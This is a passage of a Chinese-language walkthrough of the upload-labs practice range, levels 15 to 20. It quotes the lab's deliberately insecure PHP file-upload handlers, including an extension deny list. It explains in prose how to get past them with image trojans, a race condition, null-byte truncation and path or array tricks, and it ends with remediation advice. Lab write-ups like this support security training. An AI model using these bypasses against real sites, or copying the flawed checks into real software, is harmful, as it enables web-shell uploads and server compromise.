if(!$res){
$msg = "文件未知,上传失败!";
}else{
$img_path = UPLOAD_PATH."/".rand(10, 99).date("YmdHis").$res;
if(move_uploaded_file($temp_file,$img_path)){
$is_upload = true;
} else {
$msg = "上传出错!";
}
}
}
?>
Pass-15 exif_imagetype()检测
查看源代码如下:
这里需要关注第4行的exif_imagetype
函数,它的作用是判断你上传的是不是一个图片,如果不是,直接凉凉,详情参见。
那么,这个其实跟14关一样,是为了告诉你有exif_imagetype
这么个函数,可以实现文件上传过滤。
这一关的过关方法完完全全同第13关一样,不再赘述。
<?pph
function isImage($filename){
//需要开启php_exif模块
$image_type = exif_imagetype($filename);
switch ($image_type) {
case IMAGETYPE_GIF:
return "gif";
break;
case IMAGETYPE_JPEG:
return "jpg";
break;
case IMAGETYPE_PNG:
return "png";
break;
default:
return false;
break;
}
}
$is_upload = false;
$msg = null;
if(isset($_POST['submit'])){
$temp_file = $_FILES['upload_file']['tmp_name'];
$res = isImage($temp_file);
if(!$res){
$msg = "文件未知,上传失败!";
}else{
$img_path = UPLOAD_PATH."/".rand(10, 99).date("YmdHis").".".$res;
if(move_uploaded_file($temp_file,$img_path)){
$is_upload = true;
} else {
$msg = "上传出错!";
}
}
}
?>
Pass-16-二次渲染绕过
这一关,叙述起来很复杂,看这篇文章吧,写的很详细:upload-labs之pass 16详细分析
Pass-17-条件竞争
源代码如下:
- 第7行,用来获取上传的文件名
- 第8行,把上传的文件放在一个临时目录中,作为临时文件
- 第9行,获取上传文件的后缀
- 第12行,把临时文件移动到,原来上传文件的那个路径
- 第13行,开始比对上传文件的后缀是不是在第7行限制的名单中
问题是,我文件都上传上去了,你才验证!如果文件后缀匹配,文件被重命名,上传成功,否则,这个上传的文件只能短暂的存在过临时路径,然后就会被删掉
<?php
$is_upload = false;
$msg = null;
if(isset($_POST['submit'])){
$ext_arr = array('jpg','png','gif');
$file_name = $_FILES['upload_file']['name'];
$temp_file = $_FILES['upload_file']['tmp_name'];
$file_ext = substr($file_name,strrpos($file_name,".")+1);
$upload_file = UPLOAD_PATH . '/' . $file_name;
if(move_uploaded_file($temp_file, $upload_file)){
if(in_array($file_ext,$ext_arr)){
$img_path = UPLOAD_PATH . '/'. rand(10, 99).date("YmdHis").".".$file_ext;
rename($upload_file, $img_path);
$is_upload = true;
}else{
$msg = "只允许上传.jpg|.png|.gif类型文件!";
unlink($upload_file);
}
}else{
$msg = '上传出错!';
}
}
?>
那么,为了让效果更明显有些,这里修改一下源代码,让它打印一些结果给我们。
清空上传的文件,便于查找上传的文件。这里,继续上传第13关的图片木马。
发现:
- 上传的文件路径是:…/upload/test13.jpg
- 临时路径是:C:\Users\Administrator\AppData\Local\Temp\1\php6FFE.tmp
- 上传之后的路径是:…/upload/5620210510164840.jpg
在虚拟机上看到,文件上传成功了。
这里呢,漏洞点不在于图片马绕过,而在于一个php文件可以上传到服务器上,那么,只要我上传的足够快,就可以拿到结果。
这里随便找一个无关参数,进行爆破,来实现不断上传文件,另一边,手动刷新浏览器即可
不停刷新浏览器即可
Pass-18-条件竞争
源代码如下,其实与第17关思路一样,代码的问题在于先把文件上传到了服务器,才做判断。只不过这里限制的更加多一些,不能像上一关那样直接上传php文件,这里把php文件替换为图片马,使用跟第17关一样的方法即可。
<?php
//index.php
$is_upload = false;
$msg = null;
if (isset($_POST['submit']))
{
require_once("./myupload.php");
$imgFileName =time();
$u = new MyUpload($_FILES['upload_file']['name'], $_FILES['upload_file']['tmp_name'], $_FILES['upload_file']['size'],$imgFileName);
$status_code = $u->upload(UPLOAD_PATH);
switch ($status_code) {
case 1:
$is_upload = true;
$img_path = $u->cls_upload_dir . $u->cls_file_rename_to;
break;
case 2:
$msg = '文件已经被上传,但没有重命名。';
break;
case -1:
$msg = '这个文件不能上传到服务器的临时文件存储目录。';
break;
case -2:
$msg = '上传失败,上传目录不可写。';
break;
case -3:
$msg = '上传失败,无法上传该类型文件。';
break;
case -4:
$msg = '上传失败,上传的文件过大。';
break;
case -5:
$msg = '上传失败,服务器已经存在相同名称文件。';
break;
case -6:
$msg = '文件无法上传,文件不能复制到目标目录。';
break;
default:
$msg = '未知错误!';
break;
}
}
//myupload.php
class MyUpload{
......
......
......
var $cls_arr_ext_accepted = array(
".doc", ".xls", ".txt", ".pdf", ".gif", ".jpg", ".zip", ".rar", ".7z",".ppt",
".html", ".xml", ".tiff", ".jpeg", ".png" );
......
......
......
/** upload()
**
** Method to upload the file.
** This is the only method to call outside the class.
** @para String name of directory we upload to
** @returns void
**/
function upload( $dir ){
$ret = $this->isUploadedFile();
if( $ret != 1 ){
return $this->resultUpload( $ret );
}
$ret = $this->setDir( $dir );
if( $ret != 1 ){
return $this->resultUpload( $ret );
}
$ret = $this->checkExtension();
if( $ret != 1 ){
return $this->resultUpload( $ret );
}
$ret = $this->checkSize();
if( $ret != 1 ){
return $this->resultUpload( $ret );
}
// if flag to check if the file exists is set to 1
if( $this->cls_file_exists == 1 ){
$ret = $this->checkFileExists();
if( $ret != 1 ){
return $this->resultUpload( $ret );
}
}
// if we are here, we are ready to move the file to destination
$ret = $this->move();
if( $ret != 1 ){
return $this->resultUpload( $ret );
}
// check if we need to rename the file
if( $this->cls_rename_file == 1 ){
$ret = $this->renameFile();
if( $ret != 1 ){
return $this->resultUpload( $ret );
}
}
// if we are here, everything worked as planned :)
return $this->resultUpload( "SUCCESS" );
}
......
......
......
};
?>
Pass-19-00截断、路径绕过
源代码如下:
在第14行,会把上传的临时文件转移到$img_path
中
$img_path
在第13行中可以看见,$img_path = UPLOAD_PATH . '/' .$file_name;
所以我们要控制$file_name
在第8行可以看到,$file_name = $_POST['save_name'];
,即$file_name
是用post传过来的。
综上所述,可以通过控制文件名,或者控制文件夹的方式进行绕过。
<?php
$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
if (file_exists(UPLOAD_PATH)) {
$deny_ext = array("php","php5","php4","php3","php2","html","htm","phtml","pht","jsp","jspa","jspx","jsw","jsv","jspf","jtml","asp","aspx","asa","asax","ascx","ashx","asmx","cer","swf","htaccess");
$file_name = $_POST['save_name'];
$file_ext = pathinfo($file_name,PATHINFO_EXTENSION);
if(!in_array($file_ext,$deny_ext)) {
$temp_file = $_FILES['upload_file']['tmp_name'];
$img_path = UPLOAD_PATH . '/' .$file_name;
if (move_uploaded_file($temp_file, $img_path)) {
$is_upload = true;
}else{
$msg = '上传出错!';
}
}else{
$msg = '禁止保存为该类型文件!';
}
} else {
$msg = UPLOAD_PATH . '文件夹不存在,请手工创建!';
}
}
?>
方法1:00截断
直接上传一个php文件
最终文件上传成功
方法2:控制文件夹
与%00绕过的方式不同,这里是利用了路径
在前面提到,$img_path = UPLOAD_PATH . '/' .$file_name;
所以,如果上传upload-19.php/.
,就会变为upload/upload-19.php/.
,其中,/.
实现了后缀名绕过,而上传上去之后,又会被放到当前路径下,实现了绕过。
先清空所有上传的文件内容。
上传一个php文件,抓包
修改后缀内容
检查站点,确实上传成功
Pass-20-数组+/.绕过
源代码如下:使用了白名单
<?php
$is_upload = false;
$msg = null;
if(!empty($_FILES['upload_file'])){
//检查MIME
$allow_type = array('image/jpeg','image/png','image/gif');
if(!in_array($_FILES['upload_file']['type'],$allow_type)){
$msg = "禁止上传该类型文件!";
}else{
//检查文件名
$file = empty($_POST['save_name']) ? $_FILES['upload_file']['name'] : $_POST['save_name'];
if (!is_array($file)) {
$file = explode('.', strtolower($file));
}
$ext = end($file);
$allow_suffix = array('jpg','png','gif');
if (!in_array($ext, $allow_suffix)) {
$msg = "禁止上传该后缀文件!";
}else{
$file_name = reset($file) . '.' . $file[count($file) - 1];
$temp_file = $_FILES['upload_file']['tmp_name'];
$img_path = UPLOAD_PATH . '/' .$file_name;
if (move_uploaded_file($temp_file, $img_path)) {
$msg = "文件上传成功!";
$is_upload = true;
} else {
$msg = "文件上传失败!";
}
}
}
}else{
$msg = "请选择要上传的文件!";
}
?>
这一关考察的是数组+/.绕过,但是如下图,不知道为什么,我这里POST包里没有显示数组,就利用它没有检测文件头的弱点,修改文件名上传一个php文件算了,后期需要利用文件包含。
漏洞修复
对正在上传的文件进行校验
- 身份校验
进行文件上传时,在服务端对用户的身份进行合法性校验。
- 合法性校验
进行文件上传时,在服务端对文件属性进行合法性校验,白名单形式检查文档类型(如文件的后缀名、文件头信息校验等)和大小(图片校验长、宽和像素等)
对已经上传的文件进行处理
- 存储环境设置
进行文件保存时,保存在与应用环境独立的文档服务器中(配置独立域名),保存的目录权限应设置为不可执行
- 隐藏文件路径
进行文件保存时,成功上传的文件需要进行随机化重命名,禁止给客户端返回保存的路径信息。
- 文件访问设置
进行文件下载时,应以二进制形式下载,建议不提供直接访问(防止木马文件直接执行)
访问(防止木马文件直接执行)
参考
WEB漏洞-文件上传之基础及过滤方式
国光的文件上传靶场知识总结
Web安全Day5 - 任意文件上传实战攻防
使用$_FILES获取上传文件信息 (PHP)
WEB漏洞-文件上传之基础及过滤方式
WEB漏洞-文件上传之后端黑白名单绕过
Upload-labs通关攻略
upload-labs通关记录
upload-labs之pass 16详细分析
与 .htaccess 相关的奇淫技巧